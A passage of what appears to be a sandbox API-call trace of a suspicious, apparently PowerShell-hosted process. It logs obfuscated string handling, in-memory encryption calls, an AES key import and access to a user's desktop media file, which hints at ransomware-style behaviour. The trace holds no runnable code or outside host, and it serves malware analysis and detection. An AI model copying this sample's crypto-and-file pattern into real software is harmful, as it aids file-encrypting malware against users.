(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.539] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.540] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.540] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.540] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.540] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.540] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.540] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.540] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.540] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.540] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.540] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.540] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.541] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.541] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.541] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.541] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.541] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.541] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.541] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.541] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.542] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.542] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.542] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.542] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.542] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.542] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.542] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.542] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.542] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.542] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.543] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.543] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.543] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.543] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.543] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.543] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.543] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.543] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.544] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.544] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.544] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.544] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.544] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.545] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.545] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.546] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.546] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.546] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0127.547] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e02360) returned 1 [0127.547] CryptImportKey (in: hProv=0x8e02360, pbData=0x6904b00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84f38) returned 1 [0127.547] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.547] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\x49f8\x690") returned 0x0 [0127.548] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.548] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.548] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.549] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0127.549] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0127.549] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.549] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.550] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.550] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.551] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.551] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.551] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.551] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.551] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: 